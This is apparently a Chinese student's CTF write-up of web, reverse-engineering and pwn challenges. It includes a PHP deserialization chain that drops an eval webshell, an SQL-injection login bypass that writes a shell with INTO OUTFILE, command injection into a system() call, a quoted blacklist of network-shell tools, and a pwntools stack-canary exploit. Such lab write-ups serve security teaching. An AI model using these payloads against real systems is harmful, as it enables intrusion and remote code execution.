25春期末考

web

疯狂星期四

先来看一下源码

分析代码的黑名单后得知

我们可以用的字符就只剩下

字母a-z(大小写均可)

数字2

空格

这里的限制太多了

这里比较常用的getallheaders被ban掉了
这里就是用session来做
session_start()开启session
session_id()获取session
这里我们要构造一个ls的session

这里既然实现成功了

那么,就之后都只需要改PHPSESSID的值就可以了

可是尝试用ls /来查看根目录不成功
这里要注意一个问题PHPSESSID中不可以包含空格所以我们要进行编码
这里可以看到在数字中只有2没有被过滤
所以这里就可以联想到一个函数hex2bin()
这个会将16进制的数字转换成对应的ASCLL值
这里就可以把ls /转化一下

然后去传入

继续将得到的flag文件名cat

瓦学弟上分记

这里我们开启环境后看到的是

那么我们就去dirsearch找一下源码

然后去访问一下index.php.bak

自动就开始下载

看这个文件名把后缀删掉,更改为index.php

然后查看

<?php
error_reporting(0);function wadw_decode($str) {$str = base64_decode($str);$str = str_rot13($str);$str = strrev($str);$str = base64_decode($str);$str = strtr($str, 'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');$str = str_rot13($str);$str = strrev($str);return base64_decode($str);
}class Valinit {public $mom;public $think;protected $file;public $valt;public function __destruct() {$this->think = "你成功下载了瓦罗兰特,成为光荣的瓦学弟 (*∩_∩*)<br>";echo $this->think;echo $this->mom;}public function __call($name, $args) {echo "瓦学弟想要找妈妈,但是自己太菜了找不到妈妈 (~T-T~)<br>";$func = $this->mom->valstud;return $func();}public function __toString() {echo "瓦学弟原来有些基础觉得这游戏轻轻松松 (ˇ^ˇ)<br>";$this->Valfinal();return "";}
}class Process {public $next;public $data;public $rank;public $test;public function __get($name) {if (md5(md5($this->data))==666) {$this->data = "快了快了,瓦学弟感觉自己马上就能找到妈妈了 q(@^_^@)p<br>";unset($this->data);} else {$this->next = "奋战百日瓦学弟发现自己的水平越来越行了 o(*^_^*)o <br>";echo $this->next;return $this->valt;}}
}class Finalo { public $val;private $shell;public function __construct() {$this->val = new Valinit();}public function __unset($name) {echo "瓦学弟成功的找到了妈妈 \(@^o^@)/ <br>";eval($this->shell);}
}class Finalt {public $rank;public $file;public $content;public function __invoke() {echo "经过没日没夜的练枪,瓦学弟总算打到神话了 ( •̀ ω •́ )y<br>";if ($this->rank === "赋能") {echo "凭借着与生俱来的天赋,瓦学弟最终成为了赋能哥 Y(~^o^~)Y<br>";file_put_contents($this->file, $this->content);}}
}if (isset($_GET['wadw'])) {$wadw = wadw_decode($_GET['wadw']);unserialize($wadw);
} else {echo "你也想打瓦?m(-_-)m<br>";
}?>

接下来来分析一下这段代码

这一段是最后结果的最重要的代码

刚才那个简单的界面就是因为这段

然后我们看到需要满足一定的条件

那就是参数wada要等于进行了函数wada_decode后的

如果符合,就unserialize() 触发整个魔术方法链。

接下来分析整个过程

首先是一个加密

先吧这个对象$str解出来

根据这个代码进行

这个代码进行了几次过程

function wadw_decode($str) {$str = base64_decode($str);                      // 第 1 步:base64 解码(最外层)$str = str_rot13($str);                          // 第 2 步:ROT13 变换$str = strrev($str);                             // 第 3 步:字符串反转$str = base64_decode($str);                      // 第 4 步:base64 解码$str = strtr($str,'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');// 第 5 步:字符映射还原成标准 base64$str = str_rot13($str);                          // 第 6 步:再次 ROT13 变换$str = strrev($str);                             // 第 7 步:再次反转return base64_decode($str);                      // 第 8 步:base64 解码(得到原始数据)
}

那么就逆着这个代码来

代码:

<?php
$a = 'new Finalo';
$str = serialize($a);
function decode($str)
{$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);$str = strtr($str, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/','MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/');$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);return base64_encode($str);
}
echo $result=decode($str);

这里就得到了原始的str

看源代码可以知道这里考的是php反序列化

然后就是找链子

先找一下最后要用到的位置

在incoke函数中调用了file_put_contents()

我们可以利用这个函数来写入木马

所以必须调用到invoke函数

那调用invoke函数又需要使用到

中的$func这个对象被当作函数用触发invoke()
触发call()又需要调用一个找不到的方法Valfinal()
调用这个又要输出对象使用echo或者print
又需要用到destruct()中的mom这个对象
调用destruct()的话需要在反序列化完成后会自动删除,调用这个函数
这里就可以构造链子

<?php
class Valinit {public $mom;public $think;protected $file;public $valt;
}class Finalt {public $rank;public $file;public $content;
}$a = new Finalt();
$a -> rank = "赋能";
$a -> file = '1.php';
$a -> content = "<?php @eval(\$_POST[1]);?>";$o = new stdClass();
$o->valstud = $a; //触发__invoke()$b = new Valinit();
$b->mom = $o; //触发__call()$a = new Valinit();
$a->mom = $b; //触发__tostring()function decode($str)
{$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);$str = strtr($str, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/','MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/');$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);return base64_encode($str);
}
$str = serialize($a);
echo $result=decode($str);

 将得到的结果进行传参

显示以下界面就说明成功了

然后就需要访问那个马了

 

admin Pro Max

我们开启环境后首先看到的是一个登录界面

既然如此,那就先填个admin账户吧

密码去爆破一下得到密码也是admin

我们直接登录

登录成功

看到下面选项

要找flag

先看看吧

这个样子一看就好假

看来都是假的

看看地址栏

看的出来登录以后是一个文件包含,且没有我们想要的东西

那这个home.php就没有什么用了

我们就回到登录界面再看

在用户名输入一个单引号尝试闭合看看

那就是sql注入了,而且单引号是被禁用了的

所以就猜测,后台语句是

select * from `TG1u` where user='$username' and password='$password';

所以这个单引号逃逸的技巧就是我们使用\把username后面的单引号转义掉
然后他最后就变成

select user from user where user='$_POST[username]\' and password='$_POST[password]';

把转义的符号去掉理解一下

select user from user where user='$_POST[username] and password='$_POST[password]';

所以username的单引号是在passwd前面那个闭合的
这里我们尝试一下

 这样就顺利到了查字段数

但是这里4太大了

这就说明字段数是2

继续查回显位后成功

然后报库名

这里需要注意的是在查回显位2的库名时就会发现后面缺少了3是不行的

那后面的都得带上3

接下来查表名成功看到了flag又近了一步

接下来就去看flag的内容

这里查内容结果得到一个假的flag

那就得另想办法


sql写马

可以用outfile或者dumpfile命令来写入

在MySQL中outfile和dumpfile函数都是用来写入(输出)文件的,它们的功能相似但存在差异
outfile可以输出多行内容,而dumpfile只输出一行内容
outfile会破坏文件原有的数据格式,如(\n会变成\)
所以如果想保持原数据格式进行输出的话,就需要用dumpfile代替outfile

"写入的内容" into outfile/dumpfile "绝对路径"


那么我们就得去看用户 (因为写入东西有权限要求)

现在知道了我们的root用户名

还需要去找该网站的根目录

 

找到了目录

接下来就是去写马

这里我们试图写入结果显示已存在,那么就成功了

接下来我们再登录去访问file参数

这里也证实了写马成功

这里最可疑的就是secret

所以我们就cat它

图床

老样子,dirsearch

两个重点,一个是login.php,一个www.zip

很显然,ww.zip更是我们所需要的东西

解压后看到是源码:

login.php:
<?php
session_start();$SECRET_KEY = getenv('SECRET_KEY');if ($_SERVER['REQUEST_METHOD'] === 'POST') {$username = $_POST['username'];$password = $_POST['password'];if ($username === 'TG1u') {if (hash('sha256', $password) === 'cde9db455bafb96f7c2a16e5827335e82a8bf74010c5370f5e95ce69f6ee1302') {$_SESSION['username'] = $username;header('Location: index.php');exit();} else {$_SESSION['admin'] = 'Invalid password';header('Location: login.php');exit();}} else {$_SESSION['username'] = $username;header('Location: index.php');exit();}
}$admin_message = isset($_SESSION['admin']) ? $_SESSION['admin'] : '';
unset($_SESSION['admin']);
?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Login</title><style>:root {--primary: #4361ee;--secondary: #3f37c9;--light: #f8f9fa;--dark: #212529;--success: #4cc9f0;--danger: #f72585;}* {box-sizing: border-box;margin: 0;padding: 0;}body {font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);min-height: 100vh;display: flex;justify-content: center;align-items: center;padding: 20px;}.container {width: 100%;max-width: 400px;}.card {background: rgba(255, 255, 255, 0.95);border-radius: 16px;box-shadow: 0 8px 32px rgba(31, 38, 135, 0.37);backdrop-filter: blur(4px);border: 1px solid rgba(255, 255, 255, 0.18);overflow: hidden;}.card-header {background: var(--primary);color: white;padding: 20px;text-align: center;}.card-body {padding: 30px;}.form-group {margin-bottom: 20px;}label {display: block;margin-bottom: 8px;font-weight: 500;color: var(--dark);}input[type="text"],input[type="password"] {width: 100%;padding: 12px 15px;border: 1px solid #ddd;border-radius: 8px;font-size: 16px;transition: border-color 0.3s;}input[type="text"]:focus,input[type="password"]:focus {border-color: var(--primary);outline: none;box-shadow: 0 0 0 3px rgba(67, 97, 238, 0.2);}.btn {display: block;width: 100%;padding: 12px;background: var(--primary);color: white;border: none;border-radius: 8px;font-size: 16px;font-weight: 600;cursor: pointer;transition: background 0.3s;}.btn:hover {background: var(--secondary);}.alert {padding: 12px;border-radius: 8px;margin-bottom: 20px;}.alert-danger {background: #f8d7da;color: #721c24;border: 1px solid #f5c6cb;}.info {text-align: center;margin-top: 20px;color: #6c757d;font-size: 14px;}</style>
</head>
<body><div class="container"><div class="card"><div class="card-header"><h1>Welcome to ImageShare</h1></div><div class="card-body"><?php if (!empty($admin_message)): ?><div class="alert alert-danger"><?php echo htmlspecialchars($admin_message); ?></div><?php endif; ?><h2 style="text-align: center; margin-bottom: 20px; color: #343a40;">Login to Continue</h2><form action="login.php" method="post"><div class="form-group"><label for="username">Username</label><input type="text" id="username" name="username" required autofocus></div><div class="form-group"><label for="password">Password</label><input type="password" id="password" name="password" required></div><button type="submit" class="btn">Login</button></form></div></div></div>
</body>
</html>

在这里面我们就可以看到正确的用户名和密码

所以用户名:TG1u

但是这个密码就不一样了

密码只告诉了我们被sha256加密后的

那么我们就得想办法去拿到这个没有被加密的

在线网站:哈希彩虹表在线查询|MD5在线解密加密|SHA1在线解密加密|SHA256在线解密加密|SHA512在线解密加密|GEEKAPP开发者在线工具

这样我们就顺利地登录了!

 现在就进入了upload.php界面

那么就来看看它的源码吧:

upload.php:
<?php
session_start();function allowed_file($filename) {$allowed_extensions = array('png', 'jpg', 'jpeg', 'gif', 'bmp', 'webp');$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));return in_array($ext, $allowed_extensions);
}if (!isset($_SESSION['username'])) {header('Location: login.php');exit();
}if (!file_exists('./uploads')) {mkdir('./uploads', 0777, true);
}if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (!isset($_FILES['file'])) {$_SESSION['admin'] = 'No file selected';header('Location: upload.php');exit();}$file = $_FILES['file'];if ($file['name'] === '') {$_SESSION['admin'] = 'No file selected';header('Location: upload.php');exit();}if (!allowed_file($file['name'])) {$_SESSION['admin'] = 'Only image files are allowed (png, jpg, jpeg, gif, bmp, webp)';header('Location: upload.php');exit();}$file_path = uniqid() . '_' . $file['name'];move_uploaded_file($file['tmp_name'], './uploads/' . $file_path);header('Location: upload.php?file_path=' . urlencode($file_path));exit();
}$admin_message = isset($_SESSION['admin']) ? $_SESSION['admin'] : '';
unset($_SESSION['admin']);$username = $_SESSION['username'];
?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Upload Image</title><style>:root {--primary: #4361ee;--secondary: #3f37c9;--light: #f8f9fa;--dark: #212529;--success: #4cc9f0;--danger: #f72585;}* {box-sizing: border-box;margin: 0;padding: 0;}body {font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;background: linear-gradient(135deg, #43e97b 0%, #38f9d7 100%);min-height: 100vh;display: flex;justify-content: center;align-items: center;padding: 20px;}.container {width: 100%;max-width: 600px;}.card {background: rgba(255, 255, 255, 0.95);border-radius: 16px;box-shadow: 0 8px 32px rgba(31, 38, 135, 0.37);backdrop-filter: blur(4px);border: 1px solid rgba(255, 255, 255, 0.18);overflow: hidden;}.card-header {background: var(--primary);color: white;padding: 20px;text-align: center;position: relative;}.user-info {position: absolute;top: 10px;right: 20px;font-size: 14px;background: rgba(255, 255, 255, 0.2);padding: 5px 10px;border-radius: 20px;}.card-body {padding: 30px;}.form-group {margin-bottom: 25px;}.upload-area {border: 2px dashed #ccc;border-radius: 12px;padding: 40px 20px;text-align: center;transition: all 0.3s;background: #f8f9fa;cursor: pointer;}.upload-area:hover {border-color: var(--primary);background: #edf2ff;}.upload-icon {font-size: 48px;color: var(--primary);margin-bottom: 15px;}.btn {display: block;width: 100%;padding: 12px;background: var(--primary);color: white;border: none;border-radius: 8px;font-size: 16px;font-weight: 600;cursor: pointer;transition: background 0.3s;margin-top: 20px;}.btn:hover {background: var(--secondary);}.btn-logout {background: #6c757d;margin-top: 15px;}.btn-logout:hover {background: #5a6268;}.alert {padding: 12px;border-radius: 8px;margin-bottom: 20px;border: 1px solid transparent;}.alert-success {background: #d4edda;color: #155724;border-color: #c3e6cb;}.alert-danger {background: #f8d7da;color: #721c24;border-color: #f5c6cb;}.logout-container {text-align: center;margin-top: 20px;}.uploaded-image {max-width: 100%;margin-bottom: 20px;border: 1px solid #ddd;border-radius: 8px;}</style>
</head>
<body><div class="container"><div class="card"><div class="card-header"><h1>Image Upload</h1><div class="user-info">Logged in as: <?php echo htmlspecialchars($username); ?></div></div><div class="card-body"><?php if (!empty($admin_message)): ?><div class="alert alert-danger"><?php echo htmlspecialchars($admin_message); ?></div><?php endif; ?><?php if (isset($_GET['file_path'])): ?><?php$file_name = $_GET['file_path'];$full_path = './uploads/' . $file_name;$blacklist = array('sh', 'bash', 'zsh', 'ksh', 'csh', 'tcsh', 'nc', 'netcat', 'ncat', 'socat', 'perl', 'python', 'ruby', 'lua', 'wget', 'curl', 'fetch', 'lynx', 'sudo','ssh', 'telnet', 'rsh', 'rexec', 'sftp', 'rm', 'mv', 'dd', 'mkfs', 'chmod', 'chown', 'reverse', 'shell', 'bind', 'pty', 'exec', 'sh -i', '/dev/tcp', '/dev/udp' );foreach ($blacklist as $char) {if (strpos($file_name, $char) !== false) {die();}}if ($_SESSION['username'] === 'TG1u') {     if(allowed_file($full_path)) {if(file_exists($full_path)){$content = file_get_contents($full_path);$b64 = base64_encode($content);$finfo = new finfo(FILEINFO_MIME_TYPE);$mime_type = $finfo->buffer($content);echo '<img src="data:'.$mime_type.';base64,'.$b64.'" alt="Uploaded Image" class="uploaded-image">';} else {echo '<div class="alert alert-danger">File not found.</div>';}} else {        include($full_path);} } else {system('base64 ' . $file_name . ' > /tmp/' . $file_name . '.b64');echo '<div class="alert alert-danger">Sorry, but you are not allowed to view this image.</div>';}?><?php endif; ?><form action="upload.php" method="post" enctype="multipart/form-data"><div class="form-group"><div class="upload-area" onclick="document.getElementById('file-input').click()"><div class="upload-icon">📁</div><h3>Click to select an image</h3><p>or drag and drop your file here</p></div><input type="file" id="file-input" name="file" accept="image/*" style="display: none;" onchange="this.form.submit()"></div><button type="submit" class="btn">Upload Image</button></form><div class="logout-container"><a href="login.php" class="btn btn-logout">Back to Login</a></div></div></div></div>
</body>
</html>

此外其实我们还需要注意到一点:在www文件夹中有一个文件夹名为uploads,其实这就说明我们所上传的文件都存在这个文件夹中了

进去可以看到有一个已经存在的.htaccess文件 

作用​:拒绝所有用户访问所有以   .php  为结尾的文件

接下来来分析一下upload.php文件

有一个白名单:'png', 'jpg', 'jpeg', 'gif', 'bmp', 'webp'

整个代码的流程就是:先判断你是否登录了,没有登录就返回登录界面

                                    然后判断uploads文件夹是否在,不在就创建

                                    通过POST方法上传文件,再检查是否上传了文件,是否上传的文件名为空,如果检查不通过就输出'No file selected'
                                    然后再调用前面已经定义的白名单函数,不符合就输出'Only image files are allowed (png, jpg, jpeg, gif, bmp, webp)'

                                    如果前面的检查都通过了,就会使用 uniqid() 防止文件名冲突,并且将上传结果跳转回页面并传递路径。

                                    最后使用 $_SESSION['admin'] 传递错误信息

整个流程看明白了,那么大致就是要绕过白名单那件事了

上面的分析漏了一大半(只有前端代码的前面的部分)

在代码的最下面还有一长段

 这里又看到了一堆黑名单

然后在下面可以看到,当用户为TG1u时 ,可以执行后续判断和文件读取或执行

但是如果只是一个普通用户,就只能用system

去实践了一下,确实是,不允许我看而TG1u就可以看到

但是由于文件名的限定,我们上传的仅仅只是图片后缀的文件

所以导致没有办法将图片马里的代码被执行

这里我们就得好好利用两个用户之间权限的差异了

普通用户里面自带system函数

 而我们所在get传参中所上传的参数存为了变量file_name,也正是这system中所利用的变量

那么我们用  来截断前后

这样这个代码就会变成

system(base64;command;> /tmp/ ;command; b64);

我们另外开启一个页面,登录普通用户

并且get传参传入file_path=;ls;

 在这个图片中就证实了前面的代码执行了

这里可能会有个疑惑点就是为什么会有两个uploads,其实再仔细比对会发现都有两个相同的结果

这是因为前面我们的代码中的system函数里执行了两次command

既然这样能看了,我们就去看看uploads刚刚我们用TG1u用户上传的文件

经过多次尝试后,由于我们是普通用户根本看不了图片,看到的只是乱码(无论是原有的还是我们所上传的)不过

不过在cat我们所上传的图片马时却收到了火绒的提醒,这说明木马是上传成功了,但是由于后缀名而不被当做php代码被解析,所以去进行连接时会返回数据为空

先不管了

先去找一下flag,依照惯例去看一下根目录

确实是看到了flag

既然看到了就尝试cat它一下

由于权限不够,我们看不了flag

那就必须返回到TG1u的用户下去进行

但是如果继续上传图片马并没有办法解析成php

这就得注意到一个点“我们的文件上传方式是POST,而权限的限定的是在GET里的传参”

那我们就直接写马,在get传参中写一个木马文件,后缀名不是图片形式(因为不会被解析),也不是php形式(因为前文提到的被禁止访问所有的.php文件)

这里补充一句,之所以可以这么做是因为有文件包含

正好源码中有

这个利用传参写马需要在普通用户下进行(还是由于system)

然后我们来ls一下看有没有了既然有了就回到TG1u下去利用马来cat flag

先ls看能不能成功

成功,那就cat,但是如果直接cat是无用的

这里就说明我们的权限还是不够

提权到root(利用sudo命令)

Re

师兄的爱恋故事1(取证)

首先我们下载的是一个名为exe的文件

没有后缀名,那么我们就去改名为1.exe

那么就看到了师兄

这就说明我们的改名的选择是正确的

再来看看这个提示

那么就去安装看看pyinstaller

但是了解后发现其实pyinstaller的作用就是这样看来利用pyinstaller是不能实现的

因为他的结果就是创了一个exe可执行程序

我还特意去改成了py的后缀

但是报错


如果你只有 .exe 文件,没有 .py

那 PyInstaller 是用不了的,因为它不能反编译 exe 文件

你可能需要用 反编译工具(比如 pyinstxtractor.py)尝试提取源码

✍️ 总结

你有用途是否能用 PyInstaller
.py 文件打包成 .exe✅ 支持
.exe 文件想逆向成 .py❌ 不支持(需要反编译工具)
  • pyinstxtractor.py —— 提取 PyInstaller 包内容

  • uncompyle6pycdc —— 将 .pyc 反编译成 .py

  • ✅ Python 对应版本(重要!必须匹配) 


 工具准备好后,我们就开始进行反编译吧

运行命令

python pyinstxtractor.py 1.exe

然后我们就看到了反编译文件   师兄的故事.pyc

然后再用

uncompyle6 "师兄的故事.pyc" > main.py

这里就看到出现了版本问题

再换成pycdc的来解成py文件

成功后得到源码

看到关键语句

这就说明这一段代码是在进行AES加密

所以需要进行AES解密

所以写代码

from Crypto.Cipher import AES# 提供的信息
AES_KEY = b' \xf3\x10\x0bA.\xfe\xd1\xb9\x16\xa2\xde\x03\xc4\xdf\x00'
AES_IV = b',\x19\xd5\xd3\xf5\xf2\xe9\xf7\xd0\xe1\x0e\x98I!J\xcd'
ENCRYPTED_PASSWORD = b'.\xd6nP\x7f@Z\xe4\xb7\xd3\xfb\x82r_/q'
# 创建AES-CBC解密器
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)# 解密数据
decrypted = cipher.decrypt(ENCRYPTED_PASSWORD)# 移除PKCS7填充
pad_length = decrypted[-1]
if pad_length < 1 or pad_length > AES.block_size:print("警告:填充值无效,可能不是PKCS7填充")password = decrypted
else:# 验证并移除填充if decrypted[-pad_length:] == bytes([pad_length] * pad_length):password = decrypted[:-pad_length]else:print("警告:PKCS7填充验证失败,尝试直接输出")password = decrypted# 尝试以多种编码格式解码结果
def decode_bytes(data):try:return data.decode('utf-8'), 'utf-8'except UnicodeDecodeError:try:return data.decode('latin-1'), 'latin-1'except:return data, 'hex'# 显示解密结果
result, encoding = decode_bytes(password)
print("\n" + "="*50)
print(f"密钥 (hex): {AES_KEY.hex()}")
print(f"IV (hex): {AES_IV.hex()}")
print(f"密文 (hex): {ENCRYPTED_PASSWORD.hex()}")
print("\n解密结果:")
if encoding == 'hex':print(f"原始字节: {password}")print(f"十六进制: {password.hex()}")print(f"Base64: {base64.b64encode(password).decode('utf-8')}")
else:print(f"明文密码: {result}")print(f"编码格式: {encoding}")print(f"原始字节: {password}")
print("="*50)

得到了结果

再运行刚才的exe文件

喜欢师兄讲的课吗

获得的附件名为zip

所以改名为1.zip

然后就得到了一个后缀为apk的文件


🔧 安卓逆向所需工具:

任务工具推荐
反编译 APKjadx、apktool
分析 .soGhidra、IDA Pro、Cutter、Radare2
解密、调试算法Frida(动态分析)、Python(重写算法)

那么这里我们就不能用ida来进行反编译,而是用jadx来进行安卓逆向

这里就得先进入jadx的文件夹中

然后在地址栏输入cmd来打开Dos命令窗口然后再依次输入两个命令

cd lib

java -jar jadx-gui-1.4.4.jar

然后就进入了gui界面的jadx

然后把刚才的apk文件拖到界面中

然后再去找main函数(和ida中一样)

这里能够注意到一个xor的存在

重点分析一下这句话呢

不是很懂,问问ai

https://chatgpt.com/s/t_6868ffec2b8881918ff892d10ed88b0d

然后我们就需要去找.so的文件

将获得的.apk文件修改为.zip文件

然后进入文件夹中找到.so文件,交给ida进行反编译然后再去找刚刚分析出来的名字

Java_com_example_createso_MainActivity_baby_1xor

然后就找到了

 再来进行分析一下这段代码

就是获取了一个数组的长度,然后将这个数组四个为一组,与key进行异或

那么我们就得去找key值这里应该会有key值

那么就看看

但是这里得到的key是假的

其实我们在刚刚的那个界面里去找到那个key数组,然后追踪就可以得到但是这个追踪得到的也假,居然是连着的四个数

错了错了

这里我们得仔细看一下刚才的hide_key函数里的, 里面显示的是

key[0]^0x47

key[1]^0x32

key[2]^0x11

key[3]^0x12

 那么这里我们找到的连着的四个数就是key数组

然后写代码

# 你在so里拿到的混淆key原始值(举例,替换成你实际值)
obfuscated_key = [0x56, 0x57, 0x58, 0x59]  # 根据hide_key异或规则解密key
real_key = [obfuscated_key[0] ^ 0x47,obfuscated_key[1] ^ 0x32,obfuscated_key[2] ^ 0x11,obfuscated_key[3] ^ 0x12,
]# 已知密文c
cipher = [119, 9, 40, 44, 106, 84, 113, 124, 34, 93,122, 121, 119, 4, 120, 124, 36, 7, 127, 42,117, 6, 112, 41, 32, 4, 112, 47, 119, 81,123, 47, 33, 81, 40, 120, 114, 24
]# 反向异或恢复flag
flag = [chr(c ^ real_key[i % 4]) for i, c in enumerate(cipher)]print("Flag:", "".join(flag))

 

来咯来咯

得到的是一个exe文件,但是长的像zip

那就改后缀为zip

解压后得到了一堆txt文件和一个exe文件以及一个文件夹

去把那个exe文件看看

这里最特殊的就是那个d.pyc

就先对它进行反编译

https://pylingual.io/

看到这个是一个加密过程

但是密文太长了

而且从代码中可以看到key就是我们从exe反编译出的txt文件的内容

就用在线工具为我们解密

Fernet 在线解密 | 长亭百川云

看结果大致是一个python代码

就去看看

找到关键代码

只要我们在程序中输入“糖果”就会输出flag

那么这里我们就运行aomo.exe,并输入糖果

把这个截屏发到微信进行文字提取

pwn

canary

canary这个知识点在我之前的文章里有涉及Canary_canary csdn-CSDN博客

这里我们得到文件后先去checksec文件

 

开启了canary保护

ida反编译看看代码

 非常完美的拥有格式化输出printf

那就利用这一句来获得canary的地址

通过覆盖最低字节,然后再补齐,在原封不动的放回去,达到栈溢出的目的

去看main的栈图

分析得出cnary在RSP寄存器上,大小为8字节

第一个buf的大小为0x30字节,但是接收的却是0x100,所以就输入0x30-0x8+0x1字节,覆盖掉\x00

然后第二次栈溢出将canary的值再变回来

然后覆盖返回地址到后门函数就可以cat flag了

from pwn import*
p=remote('172.16.17.201',50079)
backdoor = 0x04011DE
padding = 0x30 - 0x08
p.sendlineafter(b'Tell me your name\n',b'a'*(padding))
canary = u64(p.recvuntil(b'D')[-10:-3].rjust(8,b'\x00'))
print(hex(canary))
payload = b'a' * (0x50 - 0x08) + p64(canary) + b'a' * 0x08 + p64(backdoor)
p.sendline(payload)
p.interactive()

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/88351.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/88351.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

时间显示 蓝桥云课Java

目录 题目链接 题目 解题思路 代码 题目链接 竞赛中心 - 蓝桥云课 题目 解题思路 通过%天数,得到一天内的时间,然后/小时单位(换算成毫秒的)得到小时,然后总数减去该小时,得到分钟数,秒数同理 代码 import java.util.Scanner; // 1:无需package // 2: 类名必须Main, 不…

STM32F1控制步进电机

一、基础知识1. 步进电机控制方式脉冲方向控制&#xff08;最常见&#xff09;控制信号&#xff1a;DIR方向&#xff1a;高低电平决定正转或反转&#xff1b;STEP脉冲&#xff1a;每个脉冲电机前进一步&#xff08;可通过端口拉高拉低来模拟脉冲&#xff0c;或使用pwm来生成脉冲…

Docker 容器部署脚本

#!/bin/bash# # Author: ldj # Date: 2025-07-08 15:37:11 # Description: 首先删除旧的容器和镜像&#xff0c;然后登录到 Harbor 并拉取最新的镜像进行部署 # # 显示每条命令执行情况&#xff0c;便于调试 set -x harbor_addr$1 harbor_repo$2 project_name$3 version$4 po…

OpenCV 4.10.0 移植 - Android

前文: Ubuntu 编译 OpenCV SDK for Android Linux OpenCV 4.10.0 移植 概述 在移动应用开发领域&#xff0c;Android平台与OpenCV库的结合为开发者提供了强大的图像处理和计算机视觉能力。OpenCV(Open Source Computer Vision Library)是一个开源的计算机视觉和机器学习软件…

go go go 出发咯 - go web开发入门系列(二) Gin 框架实战指南

go go go 出发咯 - go web开发入门系列&#xff08;二&#xff09; Gin 框架实战指南 往期回顾 go go go 出发咯 - go web开发入门系列&#xff08;一&#xff09; helloworld 前言 前一节我们使用了go语言简单的通过net/http搭建了go web服务&#xff0c;但是仅使用 Go 的标…

编译OpenHarmony-4.0-Release RK3566 报错

编译OpenHarmony-4.0-Release RK3566 报错1. 报错问题2.问题解决3.解决方案4.​调试技巧​subsystem name config incorrect in ‘/home/openharmony/OpenHarmony/vendor/kaihong/khdvk_356b/bundle.json’, build file subsystem name is kaihong_products,configured subsy1.…

【PTA数据结构 | C语言版】线性表循环右移

本专栏持续输出数据结构题目集&#xff0c;欢迎订阅。 文章目录题目代码题目 给定顺序表 A(a1​,a2​,⋯,an​)&#xff0c;请设计一个时间和空间上尽可能高效的算法将该线性表循环右移指定的 m 位。例如&#xff0c;(1,2,5,7,3,4,6,8) 循环右移 3 位&#xff08;m3) 后的结果…

c++-内部类

概念如果一个类定义在另一个类的内部&#xff0c;这个内部类就叫做内部类。内部类是一个独立的类&#xff0c; 它不属于外部类。特性1.不能通过外部类的对象去访问内部类的成员。外部类对内部类没有任何优越的访问权限。 2.内部类就是外部类的友元类&#xff0c;参见友元类的定…

.golangci.yml文件配置

version: “2” run: timeout: 5m concurrency: 10 modules-download-mode: readonly linters: default: standard enable: - revive - cyclop settings: staticcheck: initialisms: [ “ACL”, “API”, “ASCII”, “CPU”, “CSS”, “DNS”, “EOF”, “GUID”, “HTML”, …

YOLO模型魔改指南:从原理到实战,替换Backbone、Neck和Head(战损版)

前言 Hello&#xff0c;大家好&#xff0c;我是GISer Liu&#x1f601;&#xff0c;一名热爱AI技术的GIS开发者。本系列是作者参加DataWhale 2025年6月份Yolo原理组队学习的技术笔记文档&#xff0c;这里整理为博客&#xff0c;希望能帮助Yolo的开发者少走弯路&#xff01; &am…

Swift 图论实战:DFS 算法解锁 LeetCode 323 连通分量个数

文章目录摘要描述示例题解答案DFS 遍历每个连通区域Union-Find&#xff08;并查集&#xff09;题解代码分析&#xff08;Swift 实现&#xff1a;DFS&#xff09;题解代码详解构建邻接表DFS 深度优先搜索遍历所有节点示例测试及结果示例 1示例 2示例 3时间复杂度分析空间复杂度分…

【剑指offer】栈 队列

&#x1f4c1; JZ9 用两个栈实现队列一个栈in用作进元素&#xff0c;一个栈out用于出元素。当栈out没有元素时&#xff0c;从in栈获取数据&#xff0c;根据栈的特性&#xff0c;栈out的top元素一定是先进入的元素&#xff0c;因此当栈out使用pop操作时&#xff0c;一定时满足队…

GoView 低代码数据可视化

纯前端 分支&#xff1a; master &#x1f47b; 携带 后端 请求分支: master-fetch &#x1f4da; GoView 文档 地址&#xff1a;https://www.mtruning.club/ 项目纯前端-Demo 地址&#xff1a;https://vue.mtruning.club/ 项目带后端-Demo 地址&#xff1a;https://demo.mtrun…

Spring Boot返回前端Long型丢失精度 后两位 变成00

文章目录一、前言二、问题描述2.1、问题背景2.2、问题示例三、解决方法3.1、将ID转换为字符串3.2、使用JsonSerialize注解3.3、使用JsonFormat注解一、前言 在后端开发中&#xff0c;我们经常会遇到需要将ID作为标识符传递给前端的情况。当ID为long类型时&#xff0c;如果该ID…

计算机网络实验——无线局域网安全实验

